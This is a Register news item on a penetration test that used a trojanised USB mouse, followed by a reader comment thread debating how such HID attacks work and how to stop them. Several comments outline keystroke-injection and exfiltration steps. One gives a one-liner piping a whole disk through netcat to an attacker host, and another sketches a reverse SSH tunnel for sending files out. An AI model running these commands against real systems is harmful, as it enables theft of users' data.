Hackers pierce network with jerry-rigged mouse When hackers from penetration testing firm Netragard were hired to pierce the firewall of a customer, they knew they had their work cut out. The client specifically ruled out the use of social networks, telephones, and other social-engineering vectors, and gaining unauthorized physical access to computers was also off limits. …
It is not just USB peripherals. Another standard one is plug which goes instead of the keyboard connector into the KBD socket on a laptop motherboard and does MIM to the kbd signals at the lowest (scan) level. While it is more convoluted, having a set of Apple, Dell, Lenovo and HP is usually sufficient to make sure you have everything you need at a conference. Most transmit/receive data so the guy from a well known competitor in one particularly well known country a couple of rows behind you is quite likely to be getting a full dump of everything you are typing stored on his laptop.
So - never leave a laptop unattended and carry a prehistoric beast which nobody has any "ready baked" backdoors for. An Apple Mac G4 or some more esoteric chipset intel/AMD laptop (early HP NC40x0 series) can do the job quite nicely. The more esoteric - the better. That's why I keep my G4 and NC4000 and always use them on the road. From a security perspective both of them are becoming priceless.
There is nothing wrong with it if it is not the only thing you rely on.
First of all, adding a bit of "security through obscurity" to a properly set-up defense in depth has never hurt anyone.
Second, the guys who plug the MIM dongles onto the keyboard cable do not have that much time to do that. It is enough to hinder them sufficiently to get the job done. From that perspective, a blob of epoxy on the keyboard retention bolt of a "conference" laptop can go a very long way. Ditto for a bit of superglue (or even better - epoxy) in the correct places on the laptop keyboard, pad, etc ribbon cables couples with marking the keyboard. And so on. I know quite a few companies that do the epoxy routine on any equipment taken by their employees to that particular country (and they dispose of them upon return anyway too).
Security through obscurity is just as useless as engaging in the standard technology war.
It's more interesting if you can detect an event and then pollute the dataset it transmits - from what I've seen so far, most of the sophistication tends to lie in the trojans, not in the back end (that's also why they get hacked so quickly, which I find amusingly ironic.
Pollution isn't just fun, it also devalues the data and so damages the financial basis on which these people operate - you cause a strategic hit on root causes instead of fighting a tactical battle with symptoms.
Strategic approaches are much more entertaining and effective.
"As with all these "new device" attacks it could be stopped by locking or closing all the external ports, which hardly ever seems to happen."
Not yet, no, but will do soon. In fact it surprises me that larger corporations still let users plug anything into their PCs at all.
The device used in this attack reported itself as a standard Logitech mouse. This is what I get for an HP Mouse on my machine:
root@whitestar:~# lsusb | grep -i mouse
Bus 002 Device 003: ID 046d:c001 Logitech, Inc. N48/M-BB48 [FirstMouse Plus]
Surprise, surprise, it is actually Logitech.
So they actually chose the right device to emulate. It would have probably gotten past a reasonably tight group policy on Windows or a udev filter on Linux.
In fact, anything short of strict matching of keyboard, mouse, etc serial numbers to a machine would have failed to stop this attack. Both Windows and Linux possess the means to implement such matching. I really would not want to be on the helldesk in a shop which uses it though. It is a nightmare to maintain and a nightmare to set up too because not all USB device drivers return serial numbers. In fact HID does not at least on Linux (probably same on Windows).
That is exactly why large corporations cannot implement it. The larger the shop, the more dependent on helldesk throughput. Add to that the fact that most shops have implemented the whole ITIL shebang for anything going through the helldesk even if it is as small as changing a mouse. As a result, bolting the policy down to serial numbers will create a tsunami of change control schmutz which will wash away both the helldesk and whoever had the smart idea in the first place.
In order to emulate a keyboard *and* a mouse, one would have thought that you'd need a USB hub chip in there too, at which point you have a policy that could deny the use of hubs, probably.
I may be wrong of course, there could be a way to have mouse hardware + teensy pretend to be a logitech composite input device. But either way, to be able to send keypresses I have a feeling the system needs to recognise it as slightly more than a mouse.
Unfortunatly a lot of PC's now days have USB hubs built inside of them, that is how you often get ports on the front and back of a machine or get multiple ports. One controller, then a hub into which you can plug devices. You could probably setup each machine type to reject any new hub though...
Amazing story, but now the Net has become yet an even scarier place!
I hope they were well rewarded for their success for this assignment, but it opens up another box of nastiness.
Fortunately it isn't yet possible to download such a mouse through a drive-by attack..
(though a real drive-by attack throwing these mice at people might have some success!)
"...the device would still need to be able to run privileged code"
All the clever stuff is run on the device itself - on the target system, it only needs to use standard applications to which the user would normally have access - but it would need to "know" the OS and what applications are available.
The objective here is not to modify the system in any way, it is to steal information from the user and his/her organisation. All that is needed is to use a standard application to upload interesting files to some site on the Internet - maybe using a minimised browser window to upload files to a hacker's account on Google Docs (using ssl), for example.
And it's not as if your average bofh doesn't receive a free mouse once in a while.
Plug it in to your Linux desktop and let it work normally.
Then just wait.
Very soon, your bofh will su as root to perform some admin task
BOOM!
There are only degrees of safety, and anyone who relies on their own smugness will suffer, probably sooner rather than later
Something pretending to be a USB mouse won't be able to intercept the keystrokes on the keyboard that your BOFH is using to su root. So it won't know when to launch its attack code.
Of course, a similar attack with a "promotional" Logitech keyboard is trivial.
Perhaps all BOFH's should restrict themselves to remote system administration in fuure, ie never su on the local keyboard, and instead from their administrator ultra-secure PC do
# ssh root@targetpc
where targetpc has appropriate firewall rules and sshd_config entries to make this possible only from the authentic BOFH mission control console. Then we're OK provided the BOFH knows better than to use promotional items for mission control....
Until the attacker bribes a cleaner to put a hardware keylogger in the rats-nest behind the BOFH's mission control station, that is.
Linux has a unified HID driver which is same for Keyboard, Mouse, UPS and anything short of washing dishes.
I have not read the code of that particular driver, but I would not expect it to filter keyboard events coming from a mouse or vice versa.
On top of that Linux does not query serial numbers in HID so you are least likely to be able to bolt down your computer to work only with "your" mouse and "your" keyboard.
Presumably it's a question of the code embedded and it seems highly probable that this could be programmed to detect the OS and other aspects of the system on which it is run and tailor the attack appropriately. The user not being root doesn't seem a big problem either if it contains a zero day privilege escalation attack, or can run its intended malicious payload within the user login context. After all, the target is more likely to be the network than compromising just one machine on the network.
At my last contract, the guy at the very top of this international NGO demanded that policies were altered for his email and network accounts such that he could "use the same 4 letter password that he always uses". After a very short but valiant fight, the IT manager complied, for fear of damage to his career.
Most of us have probably heard of this, but
Quoth Mike Sphar on 1999/10/05 in the Scary Devil Monastery,
(Is it really 12 years old? The more things change, the more they stay the same)
I think that we should officially make this the sysadmins credo. We'll
call it "The Abigail Oath" and require all new sysadmins to swear it.
Well, without the layoff part, maybe something like this:
I am hired because I know what I am doing, not because I will do whatever I
am told is a good idea. This might cost me bonuses, raises, promotions,
and may even label me as "undesirable" by places I don't want to work at
anyway, but I don't care. I will not compromise my own principles and
judgement without putting up a fight. Of course, I won't always win, and I
will sometimes be forced to do things I don't agree with, but if I am my
objections will be known, and if I am shown to be right and problems later
develop, I will shout "I told you so!" repeatedly, laugh hysterically, and
do a small dance or jig as appropriate to my heritage.
http://groups.google.com/group/alt.sysadmin.recovery/msg/1d05c6aa3681e609?output=gplain
Must take my (red?) hat off to these guys, as they have upped the ante by a big amount. The same trick could be used with *any* USB device given a bit of engineering effort to have a hub & rogering-mouse included.
Mouse/keyboard (obviously!)
USB pen-drive/external drive.
Phone with USB "charger".
Printer with USB connection.
You get the idea...
I wonder how national security folk around the world are now eyeing the equipment they got from USA-based companies, made in China, handled by unknown agents, with suspicion?
How about just a USB extension/phone charger/etc cable? The plastic on the back of them's big enough to hold a flash drive- and you get whole Bluetooth adaptors that aren't much bigger than just the USB connector itself.
The Teensy board is surprisingly large for something called a 'teensy' (over an inch!), so you'd need to just wire directly to the microcontroller chip itself. But that looks far from impossible on that board and mechanical strength could be maintained by potting the back bit.
So... basically, you shouldn't even allow staff to bring in CABLES from home, much less devices, if you're paranoid about security. Or if they do bring in cables, stick a megger across the data lines to fry anything connected to them...
Sheesh, too much soldering, thanks. Just use a wifi-capable phone. Much more computing power, and it can be given as a gift (how many IT bods would turn down an iPhone4 or an HTC Desire S as a gift?) but with only the USB charging cable in the box rather than a wall-charger. Guaranteed, if it doesn't get you onto their wifi network, at some point some plank will plug it into a "secure" desktop/laptop in order to charge it. With the storage space on most modern smartphones you can run multiple hacking toolsets to cover all flavours of OS and still have plenty of space for downloading data that can later be beamed out via a surreptitious 3G call or an email. For a small(ish) fee I'll even let you in on the measures we take to guard against hax-by-phone.
You could block the cell phone installation by requiring signed drivers. My guess is the device wouldn't properly install. The user would then call IT.. they'd wipe the PC assuming its an issue with Windows, and then when the signed drivers still don't install the device properly IT would say it's the device that is defective and tell the user to take it up with the company that provided it... or turn off requiring signed drivers on that PC. Then you're screwed! lol
"Much more computing power, and it can be given as a gift (how many IT bods would turn down an iPhone4 or an HTC Desire S as a gift?) "
Get to a trade show, get business cards in return for entry to a competition, make sure your targets win the phone. I can feel a new career coming on.
Wouldn't have helped in this case, though, since phones weren't allowed.
This just proves a theory off mine, the so called "legacy free" computers with no PS2 style mouse and keyboard connectors are a dumb idea. Not to say this exploit couldn't have happened over a PS2 connection (given the microcontroller aspect) but its certainly a lot easier via USB. I've steered away from a number of recent motherboards for their lack of PS2 ports.
2 basic security rules would have prevented this attack, always be suspicious of "free" gifts and never allow users access to USB ports. This reminds me of the viruses spread by free thumb drives given away at trade shows.
wouldn't you need some way of transferring the data over PS2? I don't think I've ever seen a PS2 flash drive so you'd be looking at a more advanced version.
I guess you could do a slightly different version to take advantage of that- but this time your device would be a keyboard. Log all traffic and get the user's password that way (just pick up whatever's typed after ctrl-alt-del and before the long wait for the desktop to load, I guess).
Then wait for no keyboard activity for 5 minutes (in a corporate environment, that's probably a sign of it being on a password-protected screen saver). You can then 'type' in the user's password and gain access to their system. Just run a simple set of commands that downloads an innocuous file to the user's PC (as, say, a .pdf), navigate to it and then run it. You can then have that client software 'phone home' and get whatever malware you want from some server or other.
It can be defeated with 2-factor identification (say, smartcards), a longer screensaver time or your target using his laptop keyboard rather than the external one, but you'd presumably have clocked if they were using smartcards during the meeting where they hired you to perform penetration tests and the rest's just luck...
Alternatively, go to the toilet after the meeting and drop a USB flash drive behind the toilet. Label it "if found, please return to [smudge]. Someone'll find it and plug it in to see who it belonged to.
I've got into PS2 systems before by plugging in a device that enters "copy con: filename" then you transfer the code you want. Really it needs to be something very small and simple like a bootloader; mine then transfered the rest by RS232 because it was much easier to program a small micro to talk a standard bootloader over PS2, and transfer the real payload by RS232 from a small laptop (in this case a Zenit datasystems 8086 with built-in CGA mono screen!)
This was in the headays of PS2, when most computers still had the old style DIN connectors, maybe about '94.
The rule of lore is if you can touch it, you can (normally) own it. The VAXs however were harder...
"The VAXs however were harder..."
I seem to remember the concept of placing something in the serial connection between a user terminal and the terminal server. The device would intercept both user input and system replies. The additional feature was to use the "copy to attached printer" function to transfer files to the interception device.
Hmmm... that brings me back to the days of using an RS232 cable to transfer files between (PC) computers. Back before network cards (ether or token ring) were commonplace. I can't remember the name of the program that was used but it used a very similar method to what's described in the article. The sending side would run the transfer software and on the receiving side you'd start by typing in "copy com1 con" which basically copies input (ascii) from the serial port to the keyboard. The sending side would then "type" in a small bootstrap program which would be saved on the target computer. That bootstrap program would then copy over the rest of the program so you could get a nicer interface to show files in progress, transfer checksums so that you could detect transmission errors and the like.
The best part of the scheme was that you'd end up with a working copy of the transfer program on the target computer, so you could start the transfer from that machine to another machine later. Looking back, I suppose it's kind of funny that we were all using a kind of worm program for a useful purpose. I'd love to remember what it was called. Might have been something generic like "PC Link"?
Of course, this custom mouse does away with the need for the user to type "copy com1 con" on the receiving side, since it already is the keyboard.
This post has been deleted by its author
Neatly demonstrates the USB renegotiation function built into the newish Atmel ATMega*u2/4/6 line.
It's not really doing anything you couldn't do with an attack on a wireless keyboard though and stands a higher risk of being detected. e.g. by the anti-virus software throwing a warning when a new device is connected. I have been on sites where the leads are glued into the USB ports and any spares pasted over to mitigate this type of attack.
Its not running code on the system as such, so no this wouldnt work. Its basically sending keypresses as I read this, so the code is something like:
<wait for 60 seconds on idle time after being plugged in for [n] minutes>
<send keypress ctrl-esc>
<send keypress up arrow>
<send keypresses "cmd">
<send keypresses "[some command string]" to dos window>
<etc.>
So its relying on applications already on the machine to do its dirty work
(Well obviously trying to be quick to stop windows popping up etc., but if you time it right on delays before activating you should be good and avoid screenlocks etc. I'm sure there is also a way in the USB negotiation to work out what OS you are running on to, so you can send the right keypresses for Win vs. Linux vs. Mac)
Which basically says the default level is "disallowed" and C:/program files is "allowed". (disabled for local admins, obviously. We need to be able to install stuff)
If that is how it works, then the machine would just display an SRP error when you tried to execute the external code and the attack would fail.
I think. Probably. In theory.
I don't suppose you can get a copy of this attack code from anywhere?
"...programmed to wait 60 seconds after being plugged in to a computer and then enter commands into its keyboard that executed malware stored on the custom-built flash drive snuck into the guts of the Logitech mouse."
That's not to say that a different attack might only send key strokes, but this one used an external drive that is easily blocked.
Do I take it if such an attack would be targeted at Linux (or other *nix) - that although the mouse would indeed be recognised as a mouse (or keyboard) by the kernel and subsequently allowed to pass commands to the current screen or terminal - it would really be limited to the privileges of the currently logged user? Thus, if this attack would be run against a reasonably secured box - without additional sophisticated privilege escalation techniques - I assume it would have really limited impact, due to the limited privileges normally assigned to a regular user?
It's easy to code a loop waiting for "su" or "sudo" at the beginning of a character string.
No OS is safe against this because it's a hardware-level attack. The same thing happens if somebody would embed malicious code into the firmware of your hard-disk or network card.
Oh, and for the same reason, two factor authentication will not work either.
The solution to this would be a DRM-like scheme where the CPU will not trust any piece of hardware, unless cryptographic signature are verified and found to be correct. Would you like that kind of PC ?
"It's easy to code a loop waiting for "su" or "sudo" at the beginning of a character string." But how do you get that code to run and how do you get that info out to the USB device?
The only way to do that would be by attacking the keyboard where the data is available.
"No OS is safe against this because it's a hardware-level attack." It is not a hardware level attack, but an OS level one. If you were using a software environment that only ran a specific application with no ability to start a new shell etc, then this would not work.
Yes and no.
The basic idea is the same, if you can move the mouse and/or type key strokes you can do a LOT.
It is also likely (e.g on Ubuntu) that you could have a USB drive auto-mounted with a known name (based on the volume ID/name) so loading arbitrary software is also possible.
Now unless you were lucky and able to type in a terminal opened for root (or recently sudo-ed) and the user is privileged and not terribly observant, escalating is not as likely, but still possible depending on the user and/or exploits you can muster.
But if all you wanted to do was slurp the contents of the user's home directory and/or reveal network details that could help another attack, which could have a wealth of sensitive information, then it is easy! Without attempting to hide your operations, just open command dialogue with Alt+F2, then enter a command such scp or rsync with details of a dodgy destination server...
So it can do anything the user can, as long as it doesn't need to know anything the user knows.
In other words, it can do anything the user might be able to do without a password. If you already know the target operating system (or have a list of target operating systems), then it can issue suitable keyboard commands to upload interesting information, or download a program to do interesting things.
Ok, your device only has user privileges, but for a lot of attacks that may be enough.
Which leads to the question - should you be worried?
I'd say that unless you're doing something particularly secret and juicy, I doubt it as the attack is pretty expensive - and if the mark tosses the freebie into the bin, notices something odd and pops the lid, or even simply uses it on a system that doesn't contain the stuff you're trying to get, then it fails.
Cool idea though - hats off to PJRC and/or Atmel for the very-subtle marketing ploy.
A software restriction policy might not prevent all malicious actions possible with this kind of exploit, but it would prevent malware being launched on the PC from the mouse's USB memory. Which I assume is the main component of the exploit, the mouse's controller being preprogrammed to simulate the clicks needed to do this.
If the user is limited, the the mouse controller would also find it hard to circumvent the policy by copying the malware to the computer's HD, since locations which are writable to a limited user will typically not permit software launch.
Policy-application tool:
http://sf.net/projects/softwarepolicy
An inline input device can trivially
- Capture all keystrokes and log to it's hardware store for later retrieval
- Be made to transmit all keypresses and mouse movements wirelessly
- Switch from 'user input' mode to 'remote input' mode, to over-ride input
- Inject key sequences in a pre-defined sequence
- Upload code to the target machine - this is the most complex of all (usually requires exploit code to avoid detection by o/s/AV) - refer to this article
- Uploaded code can be used to do keylogging, screen grabs, remote access and upload captured data (hidden locally) via http to a remote site - all easy to do and simple avoid anti-virus
Citations?
Hell - if you don't believe me, try to prove me wrong and I'll cite you a 'how-to' for every single one!
The device sends keyboard commands from a device that no-one would suspect is sending such commands - clever. But those commands are useless unless the software on the connected computer is PRECISELY what those keyboard commands are expecting - the device has no way of telling that the computer is not in fact running McAfee (and indeed, some very particular version of McAfee) but some other anti-virus or no anti-virus at all (not to mention the keystrokes required to launch some software from the device in the first place).
The commands being sent to the computer could very well lead to some very odd behaviours if it isn't the expected OS and software on the computer, instantly revealing that something is afoot.
Sure, usual strategies for identifying and removing the source of such odd behaviours are not going to work, but the net result will be the same - odd behaviours, not a compromised computer (unless and until the "perfect storm" of required OS and anti-virus software etc somehow contrives to later appear on the attached computer).
Similarly, I struggle to believe that a universal set of commands can be made to work regardless of the OS on the connected PC.
Yes, the technique can be made to work against a variety of OS's, but any one such device once made is going to be very firmly bound to just one OS.
Which brings me to another problem with this technique as a practical threat...
Yes, everyone picks up promotional USB drives at conferences and events and merrily plugs them into their computers without thinking. But a mouse? Really?
How do we get this device into the hands of someone we wish to attack?
"Here, take this mouse - oh wait. Can I just ask, what OS do you use? Oh Linux... OK, in that case, can you take this mouse instead...? Uh, and what anti-virus package do you use? OK, forget that mouse, this is the one... oh, um, what version of XYZ anti-virus is that...? ah.. hang on a minute... oh no, sorry, we don't have a mouse for that one."
Setting aside motivation and whether something is A Good Idea™ in terms of it's goals, clever ideas need practical applications, otherwise they might just as well be dumb ideas.
As far as I can see, this one has Dumb Idea written all over it.
This is a highly targeted attack needing money & skill. Not a mass market drive-by sort of web browser hack for mum & dad's ageing PC.
I suspect anyone deploying this will have done their homework and got a good idea of what the victim is using. Most likely it will be the "corporate Windows image" for 99% of the workforce, so you can work from that point onwards...
FFS. Did you read the article?
"To get someone from the target company to use the mouse, Netragard purchased a readily available list names and other data of its employees. After identifying a worker who looked especially promising, they shipped him the modified mouse, which they put back in its original packaging and added marketing materials so the shipment would look like it was part of a promotional event."
"Three days later, the malware contained on the mouse connected to a server controlled by Netragard"
Not an idea... they actually managed to do it!
It doesn't need to install malware nor worry about A/V.
It can install goodware with malintent.
This changes the game as the dumb user becomes a genius hacker "avatar" by proxy.
Anything you can do physically at the machine, it can do too thus:
use a browser to get and install putty vnc winscp
configure putty with a private key
ssh into remote machine and create reverse tunnel for vnc
configure winscp, login to attacker machine, send \*.* or whatever
On linux, in a root terminal this will grab an entire hard drive until noticed:
nice n19 dd if=/dev/sda bs=4096 | gzip | nc badguy port
All it has to do is pick a time when machine is on and owner not there.
As long as the internal logic on the device contains enough memory and instructions the enhanced mouse can be used on any environment. The device could deduct from the user's input whether the system is Windows, Linux or something else. Waiting for typical commands such as ls, cat, vi and so on would lead the device to think we're in Linux land whereas cmd, dir, Win+R and other keystroke combinations would be a sign of Windows.
The attack can never be idiot proof due to system configurations, reliance on system utilities that aren't there, disabled terminal access, firewall settings and so forth. But grabbing the user's own data and sending it with e.g. FTP would work in most settings, I'm sure.
You're pretty naive. This was an idea that was implemented in a reasonably trivial piece of software, but it was trivial and it worked.
A cleverer use of this exploit would be to buffer the keystrokes and run heuristic detection based on the commands entered. In reality there's Windows, and there's Unix, and there's also the way the USB driver stacks interact with the device. With enough logging, information and time for the inbuilt computer to get a pretty good idea of which environment it's being used, it can be used to download and execute a bootstrap mechanism which can then go on to do the real damage. It can even use its internal clock and a delay mechanism to wait until the dead of night and minimize the risk that the user can detect what's going on.
Or if so inclined, a hacker could program the device to try several trial and error strategies, waiting for a software callback that would be initiated by successfully bootstrapping a piece of malware.
The possibilities are numerous.
Very neat attack, although I must admit being told you couldn't use "social networks, telephones, and other social-engineering vectors" is kind of like testing a body armour and saying "Oh, but you can't shoot at the head, arms or legs", i.e. knowing there are already serious shortfalls in the protection in those areas.
... they probably had someone much cheaper doing the ordinary "social networks, telephones and other social-engineering vectors" testing, or already had them done. Or the point was to prove to somebody that those aren't the exclusive points of attack rather than that the system is safe.
It would probably be difficult to implement for little gain. Although it could be done, I guess, in software with something like UUIDs. But then you would need to think about protecting from UUID spoofing. And it would be a total PITA to constantly manage hardware replacements.
It's easier to deny access to USB/PS2 ports completely and then you're safe(er).
(1) It depends on how you define "social engineering", as in this case they did not manipulate the target beyond posting the device to a selected individual.
(2) They did not have local physical access. They did not break in to the building or its infrastructure. This was a real Trojan horse, or more precisely, a Trojan mouse.
So I would say they did the job, and I would also say that asking for your defences to be tested while ruling out some of the known attack vectors is a bit dumb of the hiring company.
"Look at the size of my door lock! Bet you cant pick it!"
"Where are your window locks?"
This is what pen testing is all about nice work to those guys. The scary thing other countires like China & Russia do this all day every day to the US and their own ppl. Small buisnesess that work or collaborate with goverment contractors are just a stepping stone to the big fish they want to sink their programming hooks in...
They had to know which antivirus to suppress, AND they needed that antivirus to not scan removable media nor intervene with a sandbox until the user intervenes and changes the default, which normally there is no command line to be rid of so the device would have to emulate a mouse, run a program to find the popup which it can't, so it's game over.
It could try to connect remotely but a firewall "might" stop that. I'm not suggesting it couldn't work but you would need to know more about your target than (nothing really, social engineering of some sort is needed even if it is not a social networking site or phone calls).
Also, as a matter of routine removable storage is disabled on critical systems and those networked to them. There would be no volume mounted to execute the payload from.
Ugh. I would not plug any item I found in a car park into my computer any more than I would eat a stepped-on pie or sandwich I saw lying on the pavement. Yuck!
Unsolicited gifts are also a point of suspicion, and have been to me since the 70s. Despite there being laws against it, I occasionally got "gifts" sent in that were subsequently invoiced for, or was supposed to retain only if I took out a subscription or something. While the law technically allowed me to keep whatever was sent, the trouble the senders usually caused over it made it not worth keeping. So from that, I have a healthy skepticism concerning unsolicited deliveries. Seems like there's another reason to keep that going now.
I admire your self-control. While I'm fairly paranoid about security I'm afraid to say it's almost certain that my curiosity would get the better of me (regarding the thumb drive, not the stepped-on pie).
Having said that, it would be tried in a non-networked sacrificial laptop that would be nuked and re-imaged immediately afterwards. There's quite a wide margin between curiosity and idiocy.
This seems like a flaw in the OS. The built-in driver code that handles HID devices like keyboards and mice is able to distinguish between the two, so it ought to default to not letting a mouse send characters. If you really have some weird need for that, fine, you can tweak the registry or whatever.
Hopefully the Linux kernel guys have already seen this and checked in such a fix, and presumably after going through five layers of middle management, Microsoft will do so also.
I hope, as well, that any other USB device that isn't a keyboard or mouse, like a USB key, phone, hard drive, printer, modem, etc. would also not be allowed to act as a HID device and send either keyboard characters or mouse movements/button presses (which in a GUI, along with cut and paste, could probably be used to 'type' commands as well, albeit with a bit higher level of difficulty)
It goes without saying that devices you don't expect to mount a filesystem, like a keyboard, mouse or printer, should not be able to do so.
Clearly the guys programming USB code have never thought for a moment about basic security!
The generic HID device allows you to define multiple endpoints in the *same* device, thus one HID-compliant device can be both the mouse and the keyboard.
The HID device I'm typing on right now is also my mouse - according to Windows 7, it's one device that sits in both the Keyboard and Mouse categories.
There's a lot of them around - it just tells the OS that it's both. Windows normally enumerates it saying "HID-compliant device" if it says anything and doesn't actually say whether it thinks it's a keyboard or mouse.
...couldn't you have this begin a usb live linux, on the next start. All user interfaces are locked out, while the screen reads: "Update in progress" with a X minute countdown timer; and it would have relatively free reign within the machine.
Paris, because she would leave for a break...
I have seen* security software that would require you to find *exactly* the same make and model of mouse as the user's existing one to modify before it would allow this attack to work. Plugging any USB device into the machine that wasn't already 'approved' would cause the machine to lock out with a scary full screen splash and necessitate a call to IT security to unlock/approve the device.
Even USB KVM switches of the same model but a later revision trip it out so *any* change to the USB VID/PID would render the machine unusable. I don't know if the software would have been smart enough to qualify the data from the device but it wouldn't surprise me if it did.
*I can't remember the name of it, it was at least two years ago in a Government department I can but won't name.
I'd ask for my money back, if I were the customer. Netragard were specifically told what they wanted tested, and it wasn't social engineering or physical access attacks - they wanted to know how well their network would stand up against external attack. Netragard completely failed to do this.
Or maybe we don't have the full story, maybe they did test it, found no vulnerabilities, and decided to go off-mission and get some publicity for a clever stunt anyway. Either way, they'd not be getting my business again.
Jury-rigged comes from for "injury-rigged", a phrase used for any lash-up of remnants of masts spars and sails allowing a ship to creep forward after damage. Jerry rigged seems derived from the same. However, this mouse is hardly a crudely made (though it is improvised), it is pretty cunning.
Does nobody else think this reads more like a press release? A "customer" just happened to have some very unusual requirements for how we could hack their system. It just so happened we devised a neat solution that would get our name in the press.
Anyway, wouldn't a trojan mouse count as " gaining unauthorized physical access to computers"?
I think that they were within the limits set by the customer:
"The client specifically ruled out the use of social networks, telephones, and other social-engineering vectors, and gaining unauthorized physical access to computers was also off limits."
Social engineering in the context of that sentence to me implies interacting with a member of the company. The list they brought could have been from any source, but more importantly they didn't acquire it via social engineering.
Physical access? That would be someone sneaking in and getting the paws physically on the box, especially in context of the sentence.
What makes me suspicious is the impossibility of guaranteeing the user is away from the computer when the malware takes over control. Surely 60 seconds after a machine turns on the user is using the keyboard and mouse to log in?
So it looks like this exploit presumes the user will go for a coffee after starting the machine up. Fair enough, but what stops them coming back to the room find the mouse moving across the desk of it's own volition and the keys on their keyboard moving up and down as if the invisible man were sitting there? Anyone in that situation is probably going to realize something is wrong.
At the very least you would reach for the mouse and try to hold it down so it can't move anymore. I don't know how powerful their mouse mover is but I imagine an average man would be able to hold the mouse in place with one hand while calling IT/security with the other.
So this exploit claim just seems a bit fishy to me.
What would be actually clever would be to put malware into the coffee machine too so that it delays the person getting back to the machine (the coffee machine could be made to say "cleaning process - please wait 4 minutes")
"Department of Homeland Security released results from a recent test that showed 60 percent of employees who picked up foreign computer discs and USB thumb drives in the parking lots of government buildings and private contractors" are epicly stupid. Even the Greeks aren't this dumb.
I know you're just trolling, but that's a particularly poor attempt. In this particular case, the attackers went to considerable lengths to target a particular end-user within a particular organisation. If they'd been targetting you, you could be very sure that they would have sent you a mouse with an OSX-specific payload.
Maybe it would be foiled by the "please type in your password" challenge when trying to install something, but all you need do is build a similar device based on a USB keyboard and then you can capture it.
Its not like anyone with any sense would want to use that way too flat slab of aluminium which passes as a keyboard to Mac owners out of choice is it!
.. you could kick off terminal from a USB keyboard (cmd+space "terminal" Enter) and type in enough data to load whatever is on the stick - just give it a usable drive name. From there you can launch the classic popup "The adobe reader needs updating" which the user is used to anyway (good argument to avoid it like the plague).
In other words, there is enough grip on the system to lure the average end user into entering their password, at which point all bets are off.
That is, if I considered this attack likely. I may be wrong, but I can't see that being used much. The risk of discovery is too great (IMHO, of course).
Be more worried about a flash USB stick with HID built in. Send the stick to several people in a company, some sucker sees a free stick plugs it in, the HID part sends the key macros for the exploit ( possibly using hidden files on the flash. I would not be surprised if they are not already out there
This post has been deleted by its author
Depends what you intend to get out of the hack. I imagine you could get a lot of passwords for a lot of services from a lot of devices by hiding in a coffee shop, hostile AP in backpack and a copy of SSLstrip running.
Mine's the one with the custom-ROMmed smartphone pretending to be "freewifi".
Calm down a bit. If it is a *targeted* attack this is a good idea, but there is FAR too much work involved to make this a volume attack. There are quite a few risks associated with this approach too for the perpetrator.
Will people plug in such a mouse? Yes, with a probability about equal to the percentage of people poking their nose whilst driving. However, in a large organisation the chances of hitting someone with valuable data are roughly equal to the chance that the car airbag will go off during the above nose poking causing an instant second knuckle depth digit ingress of the nasal cavity.
So it's a risk, but it's not going to keep me awake much.
Wait, was it using a USB or PS/2 port? 'Cause, y'know, newer machines accept both keyboards and mice on the same port, be that either USB (of course) or PS/2. Yes, I'll RTFA. (back to article clicked).
And old machine I owned had 2 PS/2 ports, but the system would be angry at you if you misplaced the connectors for mice and keyb's. With the "keyboard not found" message n'all. Not to mention it being color-coded was useless under a dark, closed desk.
But hey:
1- intimate knowledge of the hardware, including but not limited to "undocumented" features. Hardware obfuscation defeated to your advantage. Hardware backdoors... I can't forget the Wargames movie where he gets a dial tone by grounding the speakers with a piece of tin. or sorts.
2-obfuscated operation of interfaces that can't be blocked. You can't remove a keyboard from a PC, can you? Hardwired keyboards, so you don't need standard interfaces... I think I saw one of those... not.
3-no physical access. really. They handed a dubious device to an unsuspecting user. The device could be remotely controlled or carried its own attack payload, no matter. They didn't get close to the machines.
4-hiding in plain sight. it is a mouse, not a flashy pendrive of a horny, humping dog (that pendrive deserves a WTF by itself...)
Except for the social engineering, everything else was impressive.
Yep, you've guessed it. Tabletop backscatter machines for scanning ALL incoming devices before anyone is even allowed to take them out of the package.
If it looks remotely like there is anything other than the correct size, shape etc PCB in that "new" keyboard, mouse or monitor... Yep, you can even exploit over DVI-D or HDMI by sending commands over the I2C bus, right to Special Ops it goes who then take it apart with tweezers under a microscope to find out who sent it and why.
Yes this might cost slightly more but what price security?
Bonus, you can sell "Secure PC Accessory (tm)" for a higher price, complete with welded case and tamperproof holographic stickers, where you phone up a one use number to get that particular unit's precise milligram accuracy weight to guard against foreign device installation.
Good luck finding a way around THAT.
-AC, but if anyone asks I always take my optical meeces apart now "just in case"...
so you stand around the trade fair with your fake Logitek uniform on, homing in on good prospects
Some simple questions
1. Which level of position do you hold in your organization?
2. Which OS do you use?
3. Which AV
4. ....
On the iPhone note, the first thing you MUST do before a new iPhone will switch on the first time (to get past the iPhones's lock screen that displays the iTunes logo) is... plug in the chunky Apple usb lead and connect to iTunes! A good quality dummy iPhone will do as once connected, it can appear to have a 'fault'.
Erm. Surely you can do anything if you have physical access to a computer on the network?
What was the purpose of the test? if you work at the company and do something illegal you'll get fired. Most organisations rely on goodwill and people being professionals.
If you wanted to cause mayhem you could more than likely just light a fire or turn the electric off.
pop open a mouse and install a small usb hub device.
install second tiny mirocontroller (pic18f2550 for example) that runs HID code and enumerates as a keyboard ...
When you plug in this modified mouse the operating system sees both a mouse and a keyboard.
It should now be possible to record all keystrokes....
equip the mouse with a zigbee or bluetooth transceiver and you have instant remote capturing...
give it a wifi link and some smart code that seeks out open wifi ports and all hell breaks loose !
Hiding the microcontroller in the mouse is good enough, but posting it to an employee too is even sneakier!
A comment was made above re "megging" cables to fry them... - After reading what's in the new Thunderbolt cables, will this even be possible should this tech take off?
The Register 
Biting the hand that feeds IT
Copyright. All rights reserved © 1998–2024
